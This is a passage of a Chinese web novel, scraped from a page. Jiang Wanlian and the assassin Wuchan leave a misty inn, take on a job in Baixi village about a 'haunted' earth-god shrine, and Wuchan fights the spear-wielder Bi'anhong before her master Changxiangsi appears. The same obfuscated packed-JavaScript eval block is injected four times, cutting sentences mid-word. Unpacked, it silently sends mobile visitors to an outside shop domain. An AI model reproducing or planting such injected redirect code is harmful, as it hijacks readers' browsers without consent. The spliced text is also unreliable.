;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17032380|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气无力地抬手,胡乱揉了揉阿橘毛茸茸的脑袋。阿橘从鼻子里哼了一声,算是接受道谢,然后从她肩膀上轻盈跳下,迈着六亲不认的步伐走向柜台,跳上去,揣好爪爪,继续它的监工大业——虽然观众只剩江晚怜一个了。 危机暂时解除。江晚怜感觉像是打了一场仗,身心俱疲。她拖着仿佛灌了铅的腿爬上二楼,走廊里静悄悄的,安静得有点诡异。 她走到自己昨晚住的“甲二”房门口,正要推门—— “咔。” 旁边“甲一”的房门,无声无息地开了条缝。 无忏站在门内阴影里,还是那副天塌下来都面瘫的死样子,看了她一眼。 江晚怜:“……”我靠!大佬你刚才不是走得很潇洒吗?!现在冒出来是几个意思?马后炮啊?! 无忏似乎读懂了她的眼神……或者说她脸上怨念太明显,沉默了一下,吐出两个字:“没事?” “……死不了。”江晚怜有气无力,没好气地说,“叶姐姐说在查明真相之前……呃,暂时不会动手,应该?”她实在没忍住,压低声音咬牙切齿地问,“你刚才……真就上来了啊?!”语气里的委屈和控诉简直要溢出来。 无忏看着她,异色的眸子在昏暗走廊里显得有些深不可测。 “她在试探。” “试探?”江晚怜一愣。 “你若慌乱,或言辞矛盾,她便有理由动手。”无忏平静地陈述,“你应对得尚可。” “不是……万一她真动手呢?”江晚怜觉得有必要问清楚这个关乎小命的逻辑,“你就真在屋里听着?” 无忏看了她一眼,那眼神里明晃晃写着“你傻吗”。但他大概是看在“塑料队友”的份上,多解释了一句:“枫,在。” 枫在?所以呢?江晚怜更懵了。枫掌柜不是说完“爱怎么打怎么打”就去睡回笼觉了吗? “她不会让客栈见血。”无忏补充道,语气笃定。 搞半天,合着就是大哥您把枫掌柜当保险栓了?觉得有她在,叶玖和李子遥掀不起风浪?这信任是不是有点过于盲目了?人家枫掌柜明显是看热闹不嫌事大的主儿啊! 还没等她把这番槽吐出来,无忏已经退后一步,准备关门。 “等等等等!”江晚怜眼疾手快,一把撑住门板,“还有个事儿!” 无忏动作顿住,面无表情地看着她,眼神里透出一股“你怎么这么多事”的不耐烦。 “接下来呢?叶玖他们走了,我们怎么办?还在这儿住着?”江晚怜压低声音,语速飞快,“这客栈是挺舒服,但总感觉瘆得慌……还有那位枫掌柜,神神秘秘的,说话说一半留一半,听得人抓心挠肝的。”她顿了顿,凑近一点,用气声问,“你觉得……她真知道‘鸢’的事吗?还有那诗……” 无忏的目光在她脸上停留片刻,走廊里安静得只能听到楼下偶尔传来的猫爪踩过木板的细微声响。过了几秒,他才开口,声音压得极低:“她知道。” “那她为什么不说清楚?” “时候未到。” “……啥时候才算‘到时候’?”江晚怜简直想抓狂。这群武林高手能不能好好说话?打什么哑谜! 39. 南行路,和总想单飞的大佬 空气里那股挥之不去的潮湿雾气和枫木冷香也淡了许多,取而代之的是山林间干燥清爽的气息,夹杂着隐约的鸟鸣。江晚怜躺在床上懵了几秒,猛地坐起身。 雾散了? 她连滚带爬地扑到窗边往外看——果然,昨夜那吞没一切的浓白雾气已然消散无踪,窗外是连绵起伏、层林尽染的红枫山,在湛蓝天空下舒展着热烈又静谧的秋日画卷。远处山道上,甚至能看到一两个模糊的樵夫或猎户的身影。 更重要的是,客栈楼下静悄悄的,没有叶玖和李子遥,没有剑拔弩张的气氛,连那只肥橘猫监工都不见踪影。 江晚怜愣了片刻,心头涌上一股不太真实的感觉。这就……走了?危机解除了?可以继续跑路了? 她迅速洗漱收拾,把寥寥几件行李打包好——其实也就苏衍给的用剩下的药、周纤巧送的旧衣。推开房门,走廊依旧安静。她犹豫了一下,还是敲了敲隔壁“甲一”的门。 “无忏?” 门内毫无动静。 江晚怜心里一紧,该不会……大佬自己先溜了?!她连忙用力一推——门没锁,应声而开。房间里空无一人,床铺收拾得整整齐齐,仿佛没人睡过,一张桌、一把椅,除此之外,再无他物。 江晚怜站在原地,心里忽然有点不是滋味。虽然知道无忏这人向来神出鬼没、行动果决,但真一声不吭就没了影,还是让她生出一种被抛下的荒谬感。 “靠……”她低声骂了一句,拎起自己的小包袱,闷头往楼下走。 刚下到一半楼梯,她就愣住了。 大堂里并非空无一人。 无忏正站在柜台前,背对着楼梯,依旧是那身玄衣,黑剑负在身后。而柜台后面,绯衣的枫掌柜正倚在那里,手里把玩着一片边缘鎏金的枫叶,头顶的猫耳慵懒地耷拉着,嘴角噙着那抹惯常的、让人捉摸不透的笑意。 听见脚步声,两人同时转过头来。 无忏的表情……好吧,没什么表情。枫倒是眼睛一亮,笑眯眯地打招呼:“哟,小姑娘醒了?睡得可还踏实?雾散了,天晴了,正是赶路的好时候。” 江晚怜快步走下楼梯,先瞪了无忏一眼——你在这儿怎么不吱声?害我以为你跑了!无忏接收到了她的眼神,但毫无反应,只是平静地转回视线,看向枫。 枫将两人的互动看在眼里,笑意更深。她将手中的枫叶轻轻放在柜台上,叶片指向一个特定的方向。“既然都醒了,我也就不多留你们了。”她声音轻柔,却带着送客的意味,“往南,三十里外,有个靠山临水的小村子,叫‘白溪村’。村里最近……不太平。有户姓赵的人家,似乎惹上了点麻烦,正在暗中寻求‘帮助’。” 她抬起桃花眼,目光在无忏脸上停留了一瞬,又掠过江晚怜,语气轻飘飘的,却带着某种笃定:“你们若缺盘缠,或者想打听些南边的消息,去那里看看,或许会有收获。” 这几乎就是明示了——下一个暗杀目标,或者至少是“业务”线索,在白溪村。 江晚怜心里咯噔一下。又要干回老本行?她看向无忏,无忏只是对着枫,略微点了下头。 “多谢。”他言简意赅。 “不客气。”枫摆摆手,重新拿起那片枫叶,对着阳光看了看,“就当是……故人之子,一点小小的关照。”她说完,不再看他们,转身袅袅婷婷地走向通往后院的走廊,绯红的身影很快消失在阴影里,只留下一句带着笑意的尾音,“路上小心,江湖路远,有缘再见喽。” 大堂里重新安静下来,只剩下几只猫儿在角落或蹲或卧,安静地舔毛。 江晚怜走到无忏身边,压低声音:“这就走?去那个什么白溪村?” “嗯。”无忏应了一声,转身朝客栈大门走去。 江晚怜赶紧跟上。踏出客栈门槛的瞬间,她忍不住回头看了一眼。忘尘客栈静静地伫立在枫林深处,青砖黛瓦,门楣上那只猫形灯笼在晨风中轻轻摇晃。那只肥橘猫阿橘不知何时蹲在了门槛上,碧绿的眼睛看着她,尾巴尖轻轻一摆。 江晚怜对着它挥了挥手,然后转身,快步追上已经走出几步的无忏。 离开枫林的过程比想象中顺利。雾气散去后,林间依稀能辨出人迹踩踏出的小径。无忏走在前面,步伐不快,但异常稳定,似乎对方向有着绝对的把握——呃……希望如此。 阳光透过稀疏了不少的枫叶洒下来,在林间地面上投下斑驳的光影。空气清新冷冽,带着落叶和泥土的气息。江晚怜跟在他身后,踩在厚厚的落叶上,发出沙沙的声响。 最初的紧绷和茫然过去后,江晚怜话痨的特点又蠢蠢欲动了。 “我说,无大哥,”江晚怜快走几步,和无忏并肩,侧头看他:“枫掌柜最后那句话什么意思?‘故人之子’?她说的是你吧?” 无忏脚步未停,只是侧目看了她一眼,没承认也没否认。 “她给了这么明确的线索,是不是在暗示什么?”江晚怜继续脑洞。 无忏依旧沉默。 江晚怜也不指望他能接话,自顾自地分析:“不过话说回来,枫掌柜这人真是……谜语人十级选手。说话永远说一半,笑永远不达眼底,还有那对猫耳朵……到底是真的还是装饰啊?看着也太真了!摸起来手感不知道怎么样……” “你想摸?”无忏忽然开口,声音平淡无波。 江晚怜吓了一跳,连忙摆手:“没有没有!我就随便想想!你可别误会!”她可不想被枫掌柜那深不可测的武力值惦记上。 无忏收回目光,没再说话。 两人又沉默地走了一段。江晚怜觉得气氛有点闷,又开始找话题:“哎,你说叶玖和李子遥他们,真的走了吗?会不会在外面守着等我们?” “不会。”无忏这次回答得很快。 “为什么?” 无忏道:“对他们来说已经获得了重要线索,叶玖不会轻易动手”他又补充了一句: “况且,他们打不过我。” 榜首真好,连主角光环是什么也不知道。 “那我们现在去白溪村……真是为了接‘活’?”江晚怜想起枫说的“缺盘缠”和“打听消息”。 “嗯。” “危险吗?” 无忏侧头看了她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035074|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,那眼神仿佛在说“你说呢”。江晚怜缩了缩脖子,也是,能让忘尘客栈总掌柜特意指点的“麻烦”,估计不是什么善茬。 “大佬,”她忽然想起一个关键问题,表情严肃起来,“接活归接活,咱们……是不滥杀无辜的吧?枫掌柜只说‘麻烦’,没说是该杀的人。万一那赵家是好人,只是被恶霸欺负了呢?” 无忏脚步微微一顿。他转过头,看着江晚怜,异色的眸子在阳光下显得清晰分明。 “看了,再说。”他给出了一个不算承诺的承诺。 江晚怜稍微放心了点。只要不是不分青红皂白就动手,那就有转圜余地。她可是清楚记得无忏的原则! 山路渐缓,枫林逐渐被其他树种取代。日头升高,晒得人身上暖洋洋的。江晚怜解开了披风,擦了擦额角的细汗。连日奔波加上腿伤初愈,她体力到底不如习武之人,渐渐有些跟不上无忏的速度。 无忏似乎察觉到了,脚步不着痕迹地放慢了些。 中午时分,两人在一条清澈的小溪边停下歇脚,吃干粮。江晚怜啃着硬邦邦的饼,就着溪水,心里第一百零一次怀念现代社会的外卖和奶茶。 “无忏大哥,”她边吃边问,语气有些迟疑,“你说,枫掌柜知不知道……我以前的事儿?就是……在江家的时候?”她还是有点担心原主的黑历史被翻出来,毕竟枫看起来消息灵通,又认识无忏,万一知道点什么,对她产生先入为主的恶感就麻烦了。 无忏喝了口水,看向她,异色的眸子里没什么情绪:“你指什么?” “就……可能有些传闻,说我性子骄纵,欺负下人,或者……别的什么,我之前说过的吧,我还得罪过叶玖。”江晚怜说得含糊,不敢太具体,怕“回忆”出错漏。 无忏沉默地看了她几秒,那目光平静却仿佛能穿透表象。就在江晚怜被看得有点发毛时,他才淡淡开口:“你像会做那些事的人?” “啊?”江晚怜一愣。 “一路行来,”无忏移开视线,望向溪水,“你怕血,遇险只会躲或跑,对敌时手软,划破衣袍便觉不安。”他顿了顿,语气平淡地陈述事实,“骄纵任性、欺凌弱小之人,少有这般反应。” “而且,我虽不知你究竟怎么得罪的叶玖,但你也看得出来,她对你未达杀意。” 江晚怜眨了眨眼,无忏是在说,根据他这一路上的观察,她的实际表现和漫画中“骄纵恶毒”的设定根本不匹配。他并不是知道了什么内情,而是基于亲眼所见的行为做出的判断。 “也、也是哦……”江晚怜干笑两声,心里却松了口气。还好她穿过来之后一直怂得比较彻底,形象和原主差得十万八千里。看来有时候ooc也是好事? 无忏继续道,声音低沉:“枫看人,凭眼,非凭耳。”意思是枫更相信亲眼所见,而非道听途说。 江晚怜心里那块石头总算落了地。虽然无忏的理解和她真实情况相差甚远,但结论似乎对她有利?至少在他看来,现在的她和“坏名声”不沾边,枫掌柜大概也会这么认为吧? 她心里忽然轻松了不少,咬饼的动作都欢快了些。 40. 等待进入网审 白溪村的傍晚宁静得有些过分。 江晚怜缩在村口土坡后那块半人高的大石头后面,已经快两个时辰了。 时间回到下午,两人顺着小路来到了白溪村村口附近,无忏把她单独留在了这,自己则先去打探消息,江晚怜撅了撅嘴,知道说什么也犟不过他,便听取了这个意见。起初她还能保持警惕,眼睛瞪得像铜铃,耳朵竖得像天线,生怕错过任何风吹草动。一个时辰后,她开始数地上的蚂蚁。一个半时辰后,她开始研究石头上的苔藓品种。现在,她只觉得屁股硌得生疼,腿也麻了,秋风一阵阵吹得她鼻涕都快流出来了。 “无忏你个王八蛋……”她第无数次小声咒骂,把身上那件浅藕荷色的衣裳裹紧了些:“说什么‘入夜前’回来,太阳都快落山了连个影都没有!该不会自己摸进村吃香喝辣去了吧?把我一个人扔这儿喝西北风……” 她越想越觉得有可能。以无忏那神出鬼没的身手和“能省事绝不多事”的性格,真干出这种事儿不是没可能。 肚子适时地咕噜叫了一声。中午那个硬饼早就消化完了,现在胃里空空如也。她摸了摸怀里剩下的最后一点果脯,犹豫了一下,没舍得吃——万一真要在这荒郊野外过夜呢?总得留点口粮。 夕阳的余晖将远处的山峦染成金红色,村落里的炊烟渐渐稀疏,最后完全消失在渐浓的暮色中。几声零星的犬吠过后,白溪村彻底安静下来,只有风声穿过树林和溪流的潺潺水声。 江晚怜又冷又饿又无聊,还不敢真的睡着,只能强打精神,竖起耳朵听着村里的动静——虽然除了风声水声啥也听不见。 就在她觉得自己快要变成一块石头的时候,一声极其轻微的、几乎被风声掩盖的“咔”声从身后传来。 江晚怜浑身汗毛倒竖,猛地转身,手已经下意识摸向了腰上的短匕。 一道玄色身影悄无声息地落在她身侧,带来一股微凉的夜风和淡淡的、属于草木与尘土的气息。 是无忏。 江晚怜提到嗓子眼的心瞬间落回肚子里,随即涌上来的是熊熊怒火。她压着声音,咬牙切齿:“你还知道回来啊?!我还以为你都跑了呢!” 无忏似乎对她的怒火毫无所觉,只是看了她一眼,确认她没缺胳膊少腿,便移开视线,望向已经点亮零星灯火的白溪村。他的呼吸平稳,衣袍整洁,连头发丝都没乱一根,完全不像刚刚潜入了一个可能有“麻烦”的村庄。 “怎么样?”江晚怜深呼吸了一下,火气消了一半,好奇心占了上风,凑过去小声问,“那个赵家,什么情况?真有‘麻烦’?” 无忏沉默了片刻,似乎在组织语言。他说话向来精简,但这次停顿的时间比平时略长。 “是地主。”他开口,声音低沉平稳,“家主赵德富,五十上下,在村里有百余亩良田,镇上也有铺面。家中有一妻一妾,有一幼子。” 听起来就是个普通的乡村土财主,江晚怜皱眉:“麻烦呢?被人欺负了?还是欺负别人被报复了?” “麻烦,不在赵家。”无忏的目光投向村子西头,那里隐约可见一片比其他农家院落更气派的青砖瓦房,“在村西土地庙。” “土地庙?”江晚怜一愣。 他开口,声音低沉平稳:“半月前,村西土地庙夜传怪声,黑影频现,村中流言四起,谓土地公怒或邪祟作乱。” “你觉得真是闹鬼?”江晚怜缩了缩脖子,虽然她从来不信鬼神之说,但这种玄乎传闻总令人感到毛骨悚然,更何况在这漫画世界出现什么也不会觉得奇怪 “赵家幼子,七岁,前日近庙玩耍,归家即高烧呓语,延医罔效。”无忏继续道,语气听不出来什么,“赵德富私下放话,重金寻能人异士,欲解此厄。” “所以……赵家想请人驱邪?”江晚怜觉得有点荒谬,“枫掌柜说的‘寻求帮助’,是指这个?她说道:“这不就是让我们……捉鬼?等等,你怎么知道得这么清楚?摸进赵家了?” 无忏看了她一眼,眼神里掠过极淡的微妙:“未入赵家。村中角落,人多口杂。” 也是,这种乡野怪谈,绝对是村民们最热门的话题。无忏只要随便找个不起眼的地方,耳朵一支棱,什么消息听不来? “那酬金多少?”她比较关心这个。 无忏顿了顿,才道:“百两。” “一百两银子?!”江晚怜眼睛瞬间亮了,又迅速警觉起来,“这酬金不低啊,赵家一个土财主,出手这么阔绰?还是说……这‘麻烦’特别棘手?” “酬金是其一。”无忏的声音压低了些,在渐浓的夜色里显得格外清晰,“赵家放话时,特意提了条件。” “什么条件?” “来人须是‘擅解诡局、不问缘由、手段果决’之辈。”无忏一字一句复述,异色的眸子在暮色中看向江晚怜,“且,暗中提及‘瞳中映血及翠者’、‘黑剑’字样。” 江晚怜一怔,随即倒吸一口凉气:“这是……指名道姓找你?!”这也太明显了吧?“黑剑”是一标配,“瞳中映血及翠者”更是他醒目的标志。赵家这哪里是泛泛求援,这分明是知道无忏在这一带,并且冲着他“暗杀榜首”的名头和行事风格来的! 无忏没有立刻回答,他异色的眸子在暮色中显得格外幽深,视线再次投向村西土地庙的方向。过了几秒,他才缓缓转移话题道:“庙中确有蹊跷。但,非鬼。” “不是鬼?那是什么?”江晚怜追问。 “不知。”无忏收回目光,“有人为痕迹,很新。亦有……别的东西。” “什么东西?” 无忏看了她一眼,没说话。但江晚怜从他眼中捕捉到一丝极其细微的、类似于……困惑?或者不确定的情绪。这在她认识无忏以来极其罕见。 连无忏都觉得“蹊跷”和“不知”的东西? 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035985|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚怜心里那点因为酬金而升起的兴奋瞬间被不安取代。“那我们……接这个活吗?听起来很邪门啊。”她顿了顿,想起无忏的原则,“而且,赵德富……是好人还是坏人?如果只是闹鬼,我们收了钱驱邪,也算为民除害了?” 无忏语气平淡:“他佃租苛刻,待下人厉,非善类。” 好吧,看来完成任务后,是另一种层面的“为民除害”了 她想了想,又问:“那庙里的‘人为痕迹’……会不会是有人装神弄鬼,故意针对赵家?或者……庙里藏着什么见不得人的东西?” “或许。”无忏没有否认,“需入庙一探。” “现在?”江晚怜看向已经完全暗下来的天色,又看看山下寂静的村落。夜探土地庙?听上去就很刺激……也很作死。 无忏点头:“子时前后,阴气最盛,若真有异,易现形。” 江晚怜:“……”大哥,你这话说得更吓人了好吗! 她咽了口唾沫,脑子里飞快权衡:跟着去?太危险,而且她大概率是拖油瓶。不去?一个人留在这荒郊野岭,好像也挺可怕…… “我……”她刚想说什么,无忏却先开口了。 “你留在此处。”他的语气不容置疑,“庙内情况不明,或有机关,或藏凶徒。你同去,不便。” 江晚怜张了张嘴,想反驳,但发现自己无言以对。无忏说得没错,她去了除了添乱和当累赘,没有任何用处。 “那……你小心点。”她只能干巴巴地说,心里有点不是滋味。这种无力感,这种永远需要被保护、被留下的感觉,并不好受。 无忏似乎看出了她的低落,沉默了一下,忽然从怀中取出一个小小的油纸包,递给她。 江晚怜愣愣地接过,入手微沉。她小心地打开油纸,借着最后一点天光,看清里面的东西时,不由得微微一怔——不是干粮,也不是肉脯,而是小半包蜜饯。果肉饱满,表面裹着晶莹的糖霜,在昏暗光线下泛着诱人的润泽,散发出淡淡的甜香。 “……买的。”无忏的目光在她脸上停留了一瞬:“是甜的。” 江晚怜捏起一颗蜜饯放进嘴里。甜意在舌尖化开,带着果子的微酸,瞬间驱散了口腔里的干涩和心头的些许烦闷。她有些意外地看向无忏然而无忏已经移开了视线,重新望向夜色中的村落,侧脸在暮色中依旧没什么表情,仿佛刚才递出蜜饯只是随手为之。 江晚怜嘴里含着甜,心里那点因为被“丢下”而产生的郁闷,莫名地消散了大半。她小声说了句“谢谢”,又拿起一颗蜜饯,慢慢地嚼着。 夜色渐浓,秋风更冷,但口中的甜意却让人觉得有些暖。 无忏的身影,如同融入夜色的墨滴,悄无声息地再次掠下山坡,朝着村西那座笼罩在谣言与恐惧中的土地庙而去。 江晚怜抱着膝盖坐在石头后面,眼睛紧紧盯着无忏消失的方向,心里默默数着时间。 41. 不速之客 土地庙比想象中更破败。 无忏隐在庙前一株老槐树的阴影里,目光沉静地扫视着这座孤立在村落西头的小小庙宇。青砖斑驳,瓦楞间长满枯草,两扇脱漆的木门虚掩着,在夜风中发出细微的“吱呀”声。月光惨淡,将庙宇的轮廓映得一片模糊,唯有门楣上那块字迹漫漶的“土地祠”匾额,还能勉强辨认。 空气中弥漫着香火残留的灰烬味、陈年木料的腐朽气,以及……一丝极其浅淡的、不属于此地的甜腥。正是他傍晚时分远远嗅到的那股“似腐非腐”之气,此刻在夜色中似乎浓了少许。 庙墙上的攀爬痕迹很新,指掌印凌乱,力道却异乎寻常的深,不像寻常窃贼或顽童。窗纸上的破孔边缘整齐,像是被什么尖锐之物由内向外刺破。 无忏没有立刻行动。他像一尊融入夜色的石雕,连呼吸都轻缓到几乎停滞,异色的眸子在黑暗中静静观察,捕捉着一切细微的声响与气流的变动。 子时将至。 风似乎停了,连虫鸣都诡异地沉寂下去。就在这时,庙内传来一声极轻微的“啪嗒”声,像是小石子落地的轻响。 紧接着,虚掩的门缝里,飘出了一缕似有似无的……呜咽?像是孩童压抑的抽泣,又像是风吹过狭窄缝隙的尖啸,断断续续,时高时低,在这死寂的夜里格外瘆人。 几乎同时,庙宇东侧的阴影里,地面微微拱起,一道矮小黑影贴着墙根,以一种古怪的、近乎爬行的姿势,悄无声息地向庙后移动,速度极快,姿态扭曲得不似常人。 装神弄鬼。 无忏心中已有判断。那呜咽声人为痕迹明显,移动的黑影虽快,但步伐间仍有破绽,绝非鬼魅。他手指轻按腰间黑剑剑柄,正欲悄然而上,将那装神弄鬼之人擒下问个究竟—— “咻——!” 一点寒芒,毫无征兆地撕裂夜色,带着尖锐的破空厉啸,自无忏侧后方不远处的一丛灌木中暴射而出!目标并非庙宇,也非那爬行黑影,而是直取无忏后心! 偷袭? 无忏未回头,身形已在间不容发之际向侧前方滑出半步,那点寒芒擦着他玄色衣袍掠过,“夺”地一声,深深钉入他身前的老槐树干,竟是一枚三棱透骨镖,尾羽犹自震颤。 一击不中,偷袭者似乎毫不意外,也未隐藏。 “反应不错嘛,榜首大人!”一道清亮张扬、带着毫不掩饰兴奋与战意的女声响起,“不枉我等了这大半夜!” 话音未落,一道火红的身影已如离弦之箭般从灌木丛中激射而出! 那是个看起来不过十八九岁的少女,一身利落的红衣劲装,在月光下红得刺眼。她手中握着一杆比她还高出寸许的亮银长枪,枪缨鲜红如血。原本应似是短发的发型,此刻已长至肩下,随着她疾冲的动作在脑后飞扬。她五官明艳,一双杏眼亮得惊人,此刻正紧紧锁定无忏,嘴角咧开一个充满野性战意的笑容。 “彼岸红,排名十一,请赐教!”她报上名号,脚下不停,人随声至,手中长枪一抖,挽出碗大枪花,带着呼啸的风声,枪尖闪烁着寒光,直刺无忏咽喉,攻势凌厉,角度刁钻,竟是毫不留手的杀招! 彼岸红,无忏脑中掠过这个名字:记忆里是个脾性暴烈,好战成痴,使长枪的人,好像还有个师父来着……她为何会出现在此地?是巧合,还是与土地庙之事有关? 思绪电转间,枪尖已至面前。 无忏眼神微冷,他无意与暗杀榜上其他人过于纠缠,尤其是这种不明来意的挑战。但对方攻势已到,避无可避。 就在那蕴含着足以洞穿金石力道的枪尖即将触及皮肤的刹那,无忏脚下步伐以一种玄妙难言的角度微微一错,身形侧移半尺,险之又险地让过枪锋。同时,他左手快速探出,并非硬撼枪杆,而是五指微屈,精准无比地搭上了枪头与枪杆连接处下方三寸——那是长枪发力转换时最不易掌控的节点。 一股阴柔却沛然难御的巧劲透入。 彼岸红只觉得手中长枪仿佛刺入了层层叠叠、粘稠无比的泥沼之中,前冲的势头骤然一滞,枪身不受控制地微微一偏,原本凌厉无匹的直刺,竟被带得向斜下方滑去! “什么?!”彼岸红杏眼圆睁,她全力一击,竟被对方如此轻描淡写、近乎羞辱般地带偏?怒火瞬间冲上头顶。 她娇叱一声,腰肢发力,试图强行拧转枪身,变刺为扫。然而,无忏搭在枪身上的手指如同生了根,那股阴柔劲力如附骨之疽,不仅未散,反而顺着枪杆逆向蔓延,直冲她握枪的双手! 手臂瞬间酸麻! 彼岸红心中大骇,知道自己托大,遇到了硬茬子中的硬茬子。她战斗经验丰富,当机立断,不再纠结于夺回枪势,反而借着对方那股牵引之力,足尖猛地蹬地,整个人借势向后倒飞,试图拉开距离,同时手腕一抖,长枪枪尾如同毒蝎摆尾,狠狠砸向无忏侧腰! 这一下变招极快,狠辣刁钻,若是寻常高手,恐怕难以避开。 但无忏似乎早已料到。 在彼岸红借力后撤、枪尾袭来的瞬间,他搭在枪身上的左手骤然松开,化指为掌,顺着枪杆向下一抹,不仅消弭了枪尾的力道,手掌更如游鱼般贴上彼岸红因为后撤而微微前送的手腕。 一沾即走。 彼岸红只觉得腕间一麻,仿佛被冰针刺了一下,半边手臂瞬间脱力,长枪几乎脱手!她闷哼一声,身形踉跄,倒飞之势更急,眼看就要狼狈地撞向身后另一棵大树—— “哎呀呀,小红啊小红,怎么这般不小心?为师就出去了一小会怎么又打起来了?” 一道带着几分慵懒戏谑的男声,仿佛凭空出现。 夜风忽地卷起。 几点幽红的光芒,如同暗夜中苏醒的精灵,悄然浮现,围绕着彼岸红倒飞的身影轻轻飞舞。那光芒柔和,却带着一种奇异的力量,竟将她失控的身形稳稳托住,减缓了下坠之势。 紧接着,一道绯红如霞的身影,如同一片没有重量的羽毛,自庙宇另一侧的檐角飘然而下。衣袂翻飞间,已来到彼岸红身后,手臂一伸,轻而易举地将她接了个满怀——完全是标准的公主抱。 月光照亮来人的面容。 那是个约莫二十上下的男子,容貌俊美近乎妖异,一双眼似笑非笑,眼波流转间自带风流韵味。他穿着一身繁复华丽的绯红长袍,袍角绣着暗金色的蝶恋花纹,墨黑长发未束,随意披散肩头。最引人注目的是,他周围飘着一柄朱红色的油纸伞,伞面亦绘着翩跹蝶影,在此刻无雨无月的夜里,显得格外诡异而魅惑。 暗杀榜第二——“长相思”。 无忏的目光落在来人身上,眼神凝重了一些。他自然知道长相思,实力与自己不相上下,性情莫测。传说他擅御一种名为“唤血蝶”的奇物,杀人于无形,亦善用幻术。但凭他所知,此人极少与榜上其他人冲突,今日为何会出现在此?虽有耳闻他常带着自己的徒弟四处游走江湖,但没想到现在看来那徒弟就是彼岸红。 被长相思抱在怀里的彼岸红,短暂的愣神后,瞬间涨红了脸,也不知是气的还是羞的。 “长——相——思——!”她怒吼,完全忘了“师徒之礼仪”,拳头已经捏得咯咯响。 长相思却仿佛没听见,低头看着怀里张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036834|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙舞爪的徒弟,眼里满是促狭的笑意:“为师若不来,小红你这下怕不是要摔个屁股开花?见了榜首居然还这般莽撞,吃亏了吧?”语气亲昵,却带着明显的打趣。 “要你管!放开!”彼岸红挣扎,一拳砸在长相思脸上,力道不轻。 长相思夸张地“哎哟”一声,手臂却纹丝不动,依旧抱得稳稳当当,笑道:“脾气还是这么爆……好好好,放你下来。”说着,当真松手,将彼岸红轻轻放在地上。 彼岸红脚一沾地,立刻像被踩了尾巴的猫一样跳开几步,狠狠瞪了长相思一眼,又心有余悸地看向不远处沉默而立、仿佛刚才那场短暂交锋只是拂去一片落叶般的无忏,眼中战意未消,却多了几分清晰的忌惮。 长相思这才悠悠转过身,面对无忏。他手一甩,红伞便回到了手中,那几点幽红的蝶影萦绕伞周,如梦似幻。他脸上带着无可挑剔的、令人如沐春风的笑容,对着无忏微微颔首: “劣徒顽劣,惊扰榜首了。我在此代她赔个不是。”语气客气,姿态优雅,仿佛真是偶遇致歉。 无忏看着这对举止古怪、突然出现的师徒,心中疑虑未消。他目光扫过依旧破败寂静的土地庙,庙后的爬行黑影早已不见踪影,那呜咽声也不知何时停止了。 “为何在此。”他开口,声音在夜色中冰冷如刀,直接切向核心。 长相思笑容不变,眼睛弯了弯:“听闻此处有异事,颇有趣味,便带小徒来凑个热闹。不曾想,竟有幸遇见榜首亲临探查。”他顿了顿,伞沿微抬,目光似有深意地掠过土地庙,“看来,这庙里的‘东西’,吸引力着实不小,连榜首都惊动了。” 他话里话外,似乎对土地庙之事有所了解,却又摆出一副纯粹看戏的姿态。 无忏不动声色:“与你们有关?” “无关无关。”长相思摇摇手指,笑得轻松:“我们只是路过看客。榜首尽管忙你的,不必理会我们。”他看了一眼犹自不服气盯着无忏的彼岸红,轻笑,“小红走了,别耽误人家榜首办正事。” 彼岸红咬了咬唇,似乎还想说什么,但看了看无忏那深不可测的模样,又瞥了一眼自家师父那看似含笑实则不容置疑的眼神,最终悻悻地“哼”了一声,提起长枪,转身几个起落,消失在夜色里。 长相思又对无忏笑了笑,撑着那柄诡异的红伞,绯红的身影如同融化的胭脂,悄然淡去,唯有那几点幽红蝶影,在空中盘旋片刻,也随风消散。 来得突兀,去得诡秘。 槐树下,重新恢复寂静。仿佛刚才那场短暂的交锋和那对红衣师徒的出现,只是一场幻影。 他不再深究,脚步无声,走向那扇虚掩的庙门。 而在村口土坡上,等了许久、正焦躁啃着最后一点蜜饯的江晚怜,忽然察觉到什么,猛地抬头。 